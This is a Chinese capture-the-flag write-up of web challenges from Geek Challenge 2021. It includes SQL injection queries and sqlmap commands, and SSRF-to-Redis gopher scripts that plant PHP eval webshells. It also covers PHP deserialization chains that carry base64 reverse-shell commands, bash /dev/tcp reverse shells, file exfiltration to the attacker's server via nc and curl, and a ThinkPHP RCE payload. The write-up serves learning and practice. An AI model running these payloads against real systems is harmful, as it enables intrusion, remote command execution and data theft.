文章目录
极客大挑战2021
Welcome2021
考点:http头请求方法
F12,提示请使用WELCOME请求方法来请求此网页
burp抓包,修改请求方法,发现f1111aaaggg9.php
再次请求得到flag
Dark
Tor浏览器(洋葱浏览器)直接访问访问即可。
但前提自己需要去配好Tor浏览器。
babysql
考点:没有任何过滤的union注入
前面还是先查是整数注入还是字符注入
查列数
uname=1' order by 4#
查库:babysql
uname=-1' union select database(),2,3,4#&pwd=1
查表:jeff,jeffjokes
uname=-1' union select group_concat(table_name),2,3,4 from information_schema.tables where table_schema=database()%23&pwd=1
查列:
jeff
uname,pwd,zzzz,uselesss
uname=-1' union select group_concat(column_name),2,3,4 from information_schema.columns where table_name="jeff"%23&pwd=1
jeffjokes
id,english,chinese,misc,useless
uname=-1' union select group_concat(column_name),2,3,4 from information_schema.columns where table_name="jeffjokes"%23&pwd=1
查数据:没有查出flag
uname=-1' union select group_concat(chinese),2,3,4 from jeffjokes#&pwd=1
这儿我开始特别懵,疯狂检查我语句,试了每一表的每一个列,但是都不对。
有一句话,猜测是提示:
编译器从来不给Jeff编译警告,而是Jeff警告编译器,所有指针都是指向Jeff的,gcc的-O4优化选项是将你的代码邮件给Jeff重写一下,当Jeff触发程序的程序性能采样时,循环会因害怕而自动展开。,Jeff依然孤独地等待着数学家们解开他在PI的数字中隐藏的笑话
这是谷歌大神jeff bean的事迹
最后发现找错库了
用sqlmap爆了一下
ps: 属于sqlmap的post注入
查库:
python3 sqlmap.py -r "D:\Desktop\5.txt" -p uname --dbs
python3 sqlmap.py -r 1.txt -p uname -D flag -T fllag -C "fllllllag" --dump
babyphp
robots.txt,得到noobcurl.php
<?php
function ssrf_me($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
echo $output;
}
if(isset($_GET['url'])){
ssrf_me($_GET['url']);
}
else{
highlight_file(__FILE__);
echo "<!-- 有没有一种可能,flag在根目录 -->";
}
考察ssrf,可以看看我的文章
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
屏蔽回显
先试试file协议
file:///etc/passwd
有回显
提示flag在根目录,直接去根目录找了。
file:///flag
Baby_PHP_Black_Magic_Enlightenment
<?php
echo "PHP is the best Language <br/>";
echo "Have you ever heard about PHP Black Magic<br/>";
error_reporting(0);
$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>9999){
echo file_get_contents('./2.php');
echo "How's that possible";
}
highlight_file(__FILE__);
//Art is long, but life is short.
?>
第一步:弱比较
绕过is_numeric
,直接弱类型比较
?password=10000a
提示baby_magic.php
,就是个sha1加密,要求加密前和加密后相等,但是加密前是弱类型,加密后是强类型,所以用数组绕过。
<?php
error_reporting(0);
$flag=getenv('flag');
if (isset($_GET['name']) and isset($_GET['password']))
{
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else
echo '<p>Login first!</p>';
highlight_file(__FILE__);
?>
第二步:数组绕过
?name[]=1&password[]=2
提示baby_revenge.php
,过滤了数组,所以不能用数组绕了,那就强碰撞
<?php
error_reporting(0);
$flag=getenv('fllag');
if (isset($_GET['name']) and isset($_GET['password']))
{
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if(is_array($_GET['name']) || is_array($_GET['password']))
die('There is no way you can sneak me, young man!');
else if (sha1($_GET['name']) === sha1($_GET['password'])){
echo "Hanzo:It is impossible only the tribe of Shimada can controle the dragon<br/>";
die('Genji:We will see again Hanzo'.$flag.'<br/>');
}
else
echo '<p>Invalid password.</p>';
}else
echo '<p>Login first!</p>';
highlight_file(__FILE__);
?>
第三步:由于sha1是强比较,利用sha1碰撞,传入两个SHA1值相同而不一样的pdf文件
?name=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&password=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
提示:here_s_the_flag.php
,最后一步了
<?php
$flag=getenv('flllllllllag');
if(strstr("hackerDJ",$_GET['id'])) {
echo("<p>not allowed!</p>");
exit();
}
$_GET['id'] = urldecode($_GET['id']);
if($_GET['id'] === "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: $flag </p>";
}
highlight_file(__FILE__);
?>
strstr() 函数搜索字符串在另一字符串中的第一次出现。
也就是说不能出现hackerDJ否则退出循环。在这之后又是强比较判断。
这儿因为GET传入参数要urldecode
一次,代码中urldecode
一次,所以两次解码
方法:url二次编码绕过
?id=hackerD%254A
附上我自己写的php脚本
$a='flag';
$final='';
$c=urlencode('%');//得到最后的%
for($i=0;$i<strlen($a);$i++){
$b1=bin2hex($a[$i]);//第一次编码,
$final=$final.$c;
for($j=0;$j<strlen($b1);$j++){
$b2=bin2hex($b1[$j]);
$mid='%'.$b2;
$final.=$mid;
}
}
echo $final.PHP_EOL;
echo urldecode($final).PHP_EOL;
echo urldecode(urldecode($final)).PHP_EOL;
echo urldecode(urldecode(urldecode($final)));
?>
不仅可以二次编码,还可以三次编码(只需要把解码后的一次编码赋值给$a)
蜜雪冰城甜蜜蜜
查看源码
/*
* 生成签名
* @params 待签名的json数据
* @secret 密钥字符串
*/
function makeSign(params, secret){
var ksort = Object.keys(params).sort();
var str = '';
for(var ki in ksort){
str += ksort[ki] + '=' + params[ksort[ki]] + '&';
}
str += 'secret=' + secret;
var token = hex_md5(str).toUpperCase();
return rsa_sign(token);
}
/*
* rsa加密token
*/
function rsa_sign(token){
var pubkey='-----BEGIN PUBLIC KEY-----';
pubkey+='MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDAbfx4VggVVpcfCjzQ+nEiJ2DL';
pubkey+='nRg3e2QdDf/m/qMvtqXi4xhwvbpHfaX46CzQznU8l9NJtF28pTSZSKnE/791MJfV';
pubkey+='nucVcJcxRAEcpPprb8X3hfdxKEEYjOPAuVseewmO5cM+x7zi9FWbZ89uOp5sxjMn';
pubkey+='lVjDaIczKTRx+7vn2wIDAQAB';
pubkey+='-----END PUBLIC KEY-----';
// 利用公钥加密
var encrypt = new JSEncrypt();
encrypt.setPublicKey(pubkey);
return encrypt.encrypt(token);
}
/*
* 获取时间戳
*/
function get_time(){
var d = new Date();
var time = d.getTime()/1000;
return parseInt(time);
}
//secret密钥
var secret = 'e10adc3949ba59abbe56e057f20f883e';
$("[href='#']").click(function(){
var params = {};
console.log(123);
params.id = $(this).attr("id");
params.timestamp = get_time();
params.fake_flag= 'SYC{lingze_find_a_girlfriend}';
params.sign = makeSign(params, secret);
$.ajax({
url : "http://106.55.154.252:8083/sign.php",
data : params,
type:'post',
success:function(msg){
$('#text').html(msg);
alert(msg);
},
async:false
});
})
发现需要验证,其中将id也加密了,但是发现跟代码关系不大。
感觉考点就是,前端的网页可以任意更改。
所以尝试前端js修改id为9,再点击,得到flag
雷克雅未克
题目要求经纬度和ip地址,修改两个地方
得到一串jsfuck,直接放到浏览器控制台输出即可
babyxss
<script>
function check(input){input = input.replace(/alert/,'');return '<script>console.log("'+input+'");</script>';}
</script>
给出了代码,发现过滤了alert且input内容用引号包裹。
所以我们思路是,先用引号闭合,独立出语句。再用
payload:
'");\u0061lert(1);("'
本来想用hex编码,但是好像不行。
人民艺术家
考点就是:jwt
登录错误后跳转/fail.php
,提示正确的账号密码
发现有一串JWT,且提示需要2019年的管理员
猜测需要修改time为2019,name为admin
使用jwtcrack爆破一下密钥
新增header为JWT
得到flag
babyPy
一道简单的ssti
先跑出os._wrap_close
,显示133
import json
a = """
<class 'type'>,...,<class 'subprocess.Popen'>
"""
num = 0
allList = []
result = ""
for i in a:
if i == ">":
result += i
allList.append(result)
result = ""
elif i == "\n" or i == ",":
continue
else:
result += i
for k, v in enumerate(allList):
if "os._wrap_close" in v:
print(str(k) + "--->" + v)
所以构造payoad
{{"".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('cat /flag').read()}}
关于过滤的ssti,可以结合这三篇文章
where_is_my_FUMO
<?php
function chijou_kega_no_junnka($str) {
$black_list = [">", ";", "|", "{", "}", "/", " "];
return str_replace($black_list, "", $str);
}
if (isset($_GET['DATA'])) {
$data = $_GET['DATA'];
$addr = chijou_kega_no_junnka($data['ADDR']);
$port = chijou_kega_no_junnka($data['PORT']);
exec("bash -c \"bash -i < /dev/tcp/$addr/$port\"");
} else {
highlight_file(__FILE__);
}
直接说清楚了,反弹shell
bash -c "bash -i < /dev/tcp/addr/port"
写一个脚本反弹
import requests
url='http://1.14.102.22:8115/'
params={
'DATA[ADDR]':'xxxx',
'DATA[PORT]':'10000'
}
headers={
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'
}
a=requests.get(url=url,params=params,headers=headers)
print(a.text)
发现能成功反弹,但是无法执行命令,应该是由于执行的是输入重定向导致攻击机无法回显
那么如果我们利用这个输入的shell在靶机上再执行一次反弹shell并监听呢?
第一个方法:先反弹shell之后,再在攻击机上输入(这人需要换一个端口)
bash -i >& /dev/tcp/xxx/1212 0>&1
第二个方法:直接使用文件描述符
DATA[ADDR]=ip&DATA[PORT]=port%091<%260
因为空格被过滤了 ,我们使用%09来代替,让被攻击机的回显返回到攻击机上。
开始执行命令
提示说flag在根目录的图片中,但是命令行不能处理图片
第一种方法:利用base64或者二进制编码处理
因为终端有长度限制,所以使用tail与head截取
cat /flag.png | base64 | tail -n +1|head -n 8000
cat /flag.png | base64 | tail -n +8001|head -n 8000
每次读8000行,读两次,把读取到的base64编码转为图片就好了
第二种方法:
nc -lvvnp 1234 > flag.png //自己服务器
cat /flag.png >/dec/tcp/xxxxx/1234 //命令行
第三种方法:
服务器先新建一个文件
<?php
//highlight_file(__FILE__);
$uploaddir = '/var/www/html/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
echo '<pre>';
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "Possible file upload attack!\n";
}
echo 'Here is some more debugging info:';
print_r($_FILES);
print "</pre>";
?>
curl -F "userfile=@/flag.png" http://youip/upload.php
然后直接访问就可以得到图片显示。
参考文章:
babyPOP
<?php
class a {
public static $Do_u_like_JiaRan = false;
public static $Do_u_like_AFKL = false;
}
class b {
private $i_want_2_listen_2_MaoZhongDu;
public function __toString()
{
if (a::$Do_u_like_AFKL) {
return exec($this->i_want_2_listen_2_MaoZhongDu);
} else {
throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
}
}
}
class c {
public function __wakeup()
{
a::$Do_u_like_JiaRan = true;
}
}
class d {
public function __invoke()
{
a::$Do_u_like_AFKL = true;
return "关注嘉然," . $this->value;
}
}
class e {
public function __destruct()
{
if (a::$Do_u_like_JiaRan) {
($this->afkl)();
} else {
throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
}
}
}
if (isset($_GET['data'])) {
unserialize(base64_decode($_GET['data']));
} else {
highlight_file(__FILE__);
}
前置:
__toString:类被当成字符串时的回应方法
__invoke():调用函数的方式调用一个对象时的回应方法
__wakeup:执行unserialize()时,先会调用这个函数
__destruct:类的析构函数
代码审计:
思路:首先我们的目的是通过b类中的exec函数执行命令,但是值得注意的是exec
函数没有回显,所以们不能用常规的命令执行来处理,可以用服务器来帮助。
第一步:我们需要从c
进入,然后进入e
,$this->afkl();
可以触发d
中的东西,然后通过d中的"关注嘉然," . $this->value
来触发b中的String
从,从而执行命令。
<?php
class a {
public static $Do_u_like_JiaRan = false;
public static $Do_u_like_AFKL = false;
}
class b {
public $i_want_2_listen_2_MaoZhongDu;
public function __toString()
{
if (a::$Do_u_like_AFKL) {
// return exec($this->i_want_2_listen_2_MaoZhongDu);
return "123";
} else {
throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
}
}
}
class c {
public $aaa;
public function __wakeup()
{
a::$Do_u_like_JiaRan = true;
}
}
class d {
public function __invoke()
{
a::$Do_u_like_AFKL = true;
return "关注嘉然," . $this->value;
}
}
class e {
public function __destruct()
{
if (a::$Do_u_like_JiaRan) {
$this->afkl(); //这个地方要将前面的括号去掉,否则在windows下跑不出来
} else {
throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
}
}
}
$c = new c;
$e = new e;
$d = new d;
$b = new b;
$b->i_want_2_listen_2_MaoZhongDu="bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Mi4xOTMuMTcwLjxMDAwMCAwPiYx}|{base64,-d}|{bash,-i}'"; //服务器开启监听
$d->value = $b;
$e->afkl = $d;
$c->aaa = $e;
echo base64_encode(serialize($c));
其中对b参数赋值
这个也可以 curl http://xxx?c=$(cat /flag) --还是监听端口
但是"bash -c 'bash -i >& /dev/tcp/ip/port 0>&1\'
在反弹shell时虽然能正常交互,但服务器会报
sh: cannot set terminal process group (-1): Inappropriate ioctl for device
sh: no job control in this shell
可能原因
That error message likely means shell is probably calling tcsetpgrp() and getting back errno=ENOTTY. That can happen if the shell process does not have a controlling terminal. The kernel doesn't set that up before running init on /dev/console.
The solution: use a real terminal device like /dev/tty0.
然后flag就在根目录。
知识点:
关于命令执行函数:
1. system:执行系统和外部命令,并输出出来
2. ` `:执行命令,但是不会输出出来,如果要输出出来,需要echo `命令部分`
3. exec:执行命令,但是不会输出出来
string exec ( string $command [, array &$output [, int &$return_var ]] )
Command:表示要执行的命令
Output:这是一个数组,用于接收exec函数执行后返回的字符串结果
return_var:记录exec函数执行后返回的状态
4.passthru:执行系统命令并输出结果
void passthru( string $command[, int &$return_var] )
5.shell_exec():用于执行shell命令并将执行的结果以字符串的形式返回,但是不会将结果进行输出。
如果输出的话,print(or echo)shell_exec()
6.popen:popen函数会将执行后的系统命令结果用一个文件指针的形式返回。
popen(命令,文件打开模式)
7.proc_open:执行一个命令,并且打开用来输入/输出的文件指针。类似于popen函数
givemeyourlove
<?php
// I hear her lucky number is 123123
highlight_file(__FILE__);
$ch = curl_init();
$url=$_GET['url'];
if(preg_match("/^https|dict|file:/is",$url))
{
echo 'NO NO HACKING!!';
die();
}
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
?>
提示幸运数字是123123,说明就是密码
打有认证redis
常规思路我们需要用?url=dict://127.0.0.1:port来爆破,探测端口,但是dict被禁用了,直接使用默认端口6379
直接跑脚本
import urllib.parse
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="1.php"
path="/var/www/html"
passwd="123123"
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
print(urllib.parse.quote(payload))
结果
gopher%3A//127.0.0.1%3A6379/_%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%25246%250D%250A123123%250D%250A%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252431%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_GET%255B%2522cmd%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25245%250D%250A1
然后就访问1.php
,GET参数cmd
进行命令执行。
还有个脚本
# -*- coding: UTF-8 -*-
from urllib.parse import quote
from urllib.request import Request, urlopen
url = "http://1.14.71.112:44423/?url="
gopher = "gopher://127.0.0.1:6379/_"
def get_password():
f = open("message.txt", "r") ###密码文件
return f.readlines()
def encoder_url(cmd):
urlencoder = quote(cmd).replace("%0A", "%0D%0A")
return urlencoder
###------暴破密码,无密码可删除-------###
for password in get_password():
# 攻击脚本
path = "/var/www/html"
shell = "\\n\\n\\n<?php eval($_POST['cmd']);?>\\n\\n\\n"
filename = "shell.php"
cmd = """
auth %s
quit
""" % password
# 二次编码
encoder = encoder_url(encoder_url(cmd))
# 生成payload
payload = url + gopher + encoder
# 发起请求
print(payload)
request = Request(payload)
response = urlopen(request).read().decode()
print("This time password is:" + password)
print("Get response is:")
print(response)
if response.count("+OK") > 1:
print("find password : " + password)
#####---------------如无密码,直接从此开始执行---------------#####
cmd = """
auth %s
config set dir %s
config set dbfilename %s
set test1 "%s"
save
quit
""" % (password, path, filename, shell)
# 二次编码
encoder = encoder_url(encoder_url(cmd))
# 生成payload
payload = url + gopher + encoder
# 发起请求
request = Request(payload)
print(payload)
response = urlopen(request).read().decode()
print("response is:" + response)
if response.count("+OK") > 5:
print("Write success!")
exit()
else:
print("Write failed. Please check and try again")
exit()
#####---------------如无密码,到此处结束------------------#####
print("Password not found!")
print("Please change the dictionary,and try again.")
跑个脚本,进入shell.php
尝试POST数据cmd=phpinfo()
有回显,说明写入成功,蚁剑连接,flag在根目录
使用反弹shell的方法不知道为什么没有连接上,之后再看看吧!(似乎只能centos)
参考文章:
https://www.freebuf.com/articles/web/263556.html
https://blog.youkuaiyun.com/qq_43665434/article/details/115414738
https://xz.aliyun.com/t/5665#toc-4
https://ca01h.top/Web_security/basic_learning/17.SSRF%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/#%E6%BC%8F%EQ6%B4%9E%E4%BA%A7%E7%94%9F
SoEzUnser
<?php
class fxxk{
public $par0;
public $par1;
public $par2;
public $par3;
public $kelasi;
public function __construct($par0,$par1,$par2,$par3){
$this -> par0 = $par0;
$this -> par1 = $par1;
$this -> par2 = $par2;
$this -> par3 = $par3;
}
public function newOne(){
$this -> kelasi = new $this -> par0($this -> par1,$this -> par2);
}
public function wuhu(){
echo('syclover !'.$this -> kelasi.' yyds');
}
public function qifei(){
//$ser = serialize($this -> kelasi);
//$unser = unserialize($ser);
$this -> kelasi -> juts_a_function();
}
public function __destruct(){
if(!empty($this -> par0) && (isset($this -> par1) || isset($this -> par2))){
$this -> newOne();
if($this -> par3 == 'unser'){
$this -> qifei();
}
else{
$this -> wuhu();
}
}
}
public function __wakeup(){
@include_once($this -> par2.'hint.php');
}
}
highlight_file(__FILE__);
$hack = $_GET['hack'];
unserialize($hack);
还是老规矩,给出了源码,我们先代码审计一下
首先,比较明显的是,__wakeup
,当有unserialize
的时候,会触发,而且对于par2
参数又是可控的,所以我们利用__wakeup
中的include_once
文件包含
伪协议读取hint.php
<?php
class fxxk{
public $par2='php://filter/read=convert.base64-encode/resource=';
}
$a=new fxxk();
echo urlencode(serialize($a));
?>
base64解码后得到hint.php内容
<?php
$hint = '向管理员的页面post一个参数message(告诉他,"iwantflag") 和 另一个参数 url(它会向这个url发送一个flag';
$hint .= '管理员的页面在当前目录下一个特殊文件夹里';
$hint .= '但是我不知道(你也猜不到的)文件夹名称和管理员页面的名称,更坏的消息是只能从127.0.0.1去访问,你能想个办法去看看(别扫 扫不出来!!!)';
根据提示,我们需要找到管理员界面的文件目录
我们需要利用newOne()函数,通过new一个内置类,然后通过wuhu
函数,将内置类的东西输出出来
比如说像FilesystemIterator
类,就可以遍历目录,就先创建一个FilesystemIterator
类的对象,里面的参数就是我们想遍历的目录,然后将这个对象echo
出来,得到结果。
构造查文件目录的payload
<?php
class fxxk{
public $par0 = 'FilesystemIterator';
public $par1 = './';
}
$a = new fxxk();
echo serialize($a);
?>
也可以利用
$par0=GlobIterator();//遍历一个文件系统行为类似于
$par1="glob://*";//查找匹配的文件路径模式
得到目录aaaaaaaaaaafxadwagaefae
然后继续,只需要把文件路径改一下,./aaaaaaaaaaafxadwagaefae
得到php文件为UcantGuess.php
上面的提示是,必须是127.0.0.1,所以完整的路径出来了
127.0.0.1/unserbucket/aaaaaaaaaaafxadwagaefae/UcantGuess.php
又知道需要我们post一个参数和url,又需要内置类来构造
我们想到了Soap_Client和SSRF的结合
预期解
利用CRLF伪造http包
构造payload
<?php
$url = 'http://127.0.0.1/unserbucket/aaaaaaaaaaafxadwagaefae/UcantGuess.php';
$post_string = 'message=iwantflag&url=http://yourip:port';
$headers = array(
'X-Forwarded-For: 127.0.0.1'
);
$b=array('location' => $url,'user_agent'=>'wupco\r\nContent-Type: application/x-www-form-urlencoded\r\nX-Forwarded-For: 127.0.0.1\r\nContent-Length: '.(string)strlen($post_string).'\r\n\r\n'.$post_string,'uri' => "aaab");
class fxxk{
public $par0 = 'SoapClient';
public $par1 = null;
public $par2;
public $par3 = 'unser';
public $kelasi;
}
$a=new fxxk();
$a->par2=$b;
echo urlencode(serialize($a));
?>
然后监听端口,直接打就行了。
非预期解
利用SplFileObject,对文本文件进行遍历
$a= new fxxk();
$a->par0 = 'SplFileObject';
$a->par1 = 'php://filter/convert.base64-encode/resource=aaaaaaaaaaafxadwagaefae/UcantGuess.php';
$a->par2 = 'rb';
$b = serialize($a);
echo(urlencode($b));
直接获取源代码
也可以看看这个文章
[PHP SPL笔记 - 阮一峰的网络日志 (ruanyifeng.com)]
Easypop
<?php
class a {
public function __destruct()
{
$this->test->test();
}
}
abstract class b {
private $b = 1;
abstract protected function eval();
public function test() {
($this->b)();
}
}
class c extends b {
private $call;
protected $value;
protected function eval() {
if (is_array($this->value)) {
($this->call)($this->value);
} else {
die("you can't do this :(");
}
}
}
class d {
public $value;
public function eval($call) {
$call($this->value);
}
}
if (isset($_GET['data'])) {
unserialize(base64_decode($_GET['data']));
} else {
highlight_file(__FILE__);
}
首先我的思考是:
先从a
进去,然后由test
属性去进入c
,c继承了b的方法(说明一下,
t
h
i
s
−
>
b
=
[
this->b=[
this−>b=[this,‘eval’]代表是以一个数组,并且把后面的值传给前面的值),然后触发c
中的eval
函数,但是我们需要给c
中的属性赋值,创建了一个a
的成员函数,在a函数中使用d
的对象来创建一个数组,并且赋值。
payload
<?php
class d {
public $value;
public function __construct(){
$this->value="system";
}
}
abstract class b {
private $b;
public function __construct(){
$this->b=[$this,'eval'];
}
}
class c extends b{
private $call;
protected $value;
public function a(){
$this->call=[new d(),'eval'];
$x=new d();
$x->value="cat /flag";
$this->value=[$x,"eval"];
}
}
class a {
public $test;
public function __construct(){
$this->test;
}
}
$a=new a();
$c=new c();
$c->a();
$a->test=$c;
echo base64_encode(serialize($a));
期末不挂科就算成功
F12,找到了一个debug.php,提示我们是php伪协议,我们直接使用filter协议获取源码
debug.php
<?php
if(!$_GET['file'])
{
header("Location:debug.php?file=file");
}
?>
<!DOCTYPE html>
<html>
<body>
<img src="image/1.jpg" >
</body>
</html>
<?php
echo "<h1>快去学习PHP伪协议</h1>";
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "NO!!!";
exit();
}
include($file);
?>
index.php
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);
curl_close($ch);
//你当前位于学校172.17.0.0/24网段下 其实还有台机子里面可以修改成绩 我偷偷告诉你password是123456,name是admin,//result必须要改成60 不然学校会查的!!!
?>
这儿使用爆破得到网段是172.17.0.7
,要我们修改成绩,这儿又是SSRF,想到了gopher构造POST请求
python脚本构造payload
import urllib.parse
POST="""
POST /index.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
password=123456&name=admin&result=60
"""
tmp=urllib.parse.quote(POST)
new = tmp.replace('%0A','%0D%0A')
payload ='gopher://172.17.0.7:80/_'+urllib.parse.quote(new)
print(payload)
成全
先随便传个参数
看到版本是5.0.12
,找网上的payload
利用命令执行
网上有个变量覆盖的远程命令执行payload
URL:http://tp5019.com/index.php
POST请求
_method=__construct&method=GET&filter[]=system&s=whoami
_method=__construct&method=GET&filter[]=system&get[]=whoami
存在disable_functions
,这儿我们利用call_user_func
可以绕过
果然是这样,所以我们想想能不能用call_user_func
读取目录
call_user_func
,它会将第一个参数作为回调函数,第二个参数作为参数执行
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
}
} elseif (!empty($filter)) {
其中foreach
有用,我们尝试用套娃,
先测试下:
<?php
$b = call_user_func('scandir','../');
call_user_func('print_r',$b);
?>
我们就先传入一个filter[]=scandir&get[]=/,那么现在的$value就是call_user_func(‘scandir’,’/’);了,这时候再来一个filter[]=var_dump,foreach把$filter的值覆盖为var_dump,实现变量覆盖了,那么就是:
call_user_func(var_dump, call_user_func('scandir','/'));
payload
_method=__construct&method=get&filter[]=scandir&get[]=/&filter[]=var_dump
得到flag的目录
直接读取
得到flag
利用日志
我们就可以通过log日志来包含getshell了
首先我们要知道tp的默认日志形式/202110/11.log 文件夹以年份加月数其中的日志为每日的形式
那么我们就可以爆破日志了
当我们爆破到15日时会发现写好的shell
直接执行shell,读取目录
读取flag
anothersql
脚本直接爆
由题意得就是个sql注入,但是测试一下,没有返回的数据,只返回admin和123456
uname=admin'or 1=1#&pwd=123456&wp-submit=%E7%99%BB%E5%BD%95
应该需要时间盲注或者布尔盲注了。但是order by 4
执行了,可以判断是4列。
先用脚本跑一下字典,看哪些东西过滤了。或者直接bp感觉快多了。
import requests
url="http://47.100.242.70:4003/check.php"
headers={
'User-Agent':' Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0'
}
with open("sql.txt","r+",encoding="utf-8") as f:
for line in f.readlines():
data = {
'uname': str(line),
'pwd': '123'
}
response=requests.post(url=url,data=data)
if "hacker!!!" in response.text:
print(line.strip())
print("\n")
过滤了<``>``substr``mid``if
直接上脚本
#coding=utf-8
import requests
chars = "abcdefghijklmnopqtrstuvwxyz{}QWERTYUIOPASDFGHJKLZXCVBNM1234567890_,-.@&%/^!~"
url = "http://47.100.242.70:4003/check.php"
result=""
for i in range(50):
for char in chars:
username = ("admin' and left(database(),{})="+"'"+result+"{}"+"'#").format(i,char)
#print(username)
#username = ("admin' and left((select table_name from information_schema.tables where table_schema=database()),{})=" + "'" + result + "{}" + "'#").format(i, char)
#username = ("admin' and left((select group_concat(column_name) from information_schema.columns where table_name='syclover'),{})=" + "'" + result + "{}" + "'#").format(i, char)
#username = ("admin' and left((select group_concat(flag) from syclover),%d)=" + "'" + result + "%c" + "'#")%(i,char)
data = {"uname":username,"pwd":"123456","wp-submit":"%E7%99%BB%E5%BD%95"}
response = requests.post(url=url,data=data)
r = response.text
if(len(r)==96):
result=result+char
print(result)
但是这个题可以使用报错注入
报错注入
floor报错注入
floor报错注入
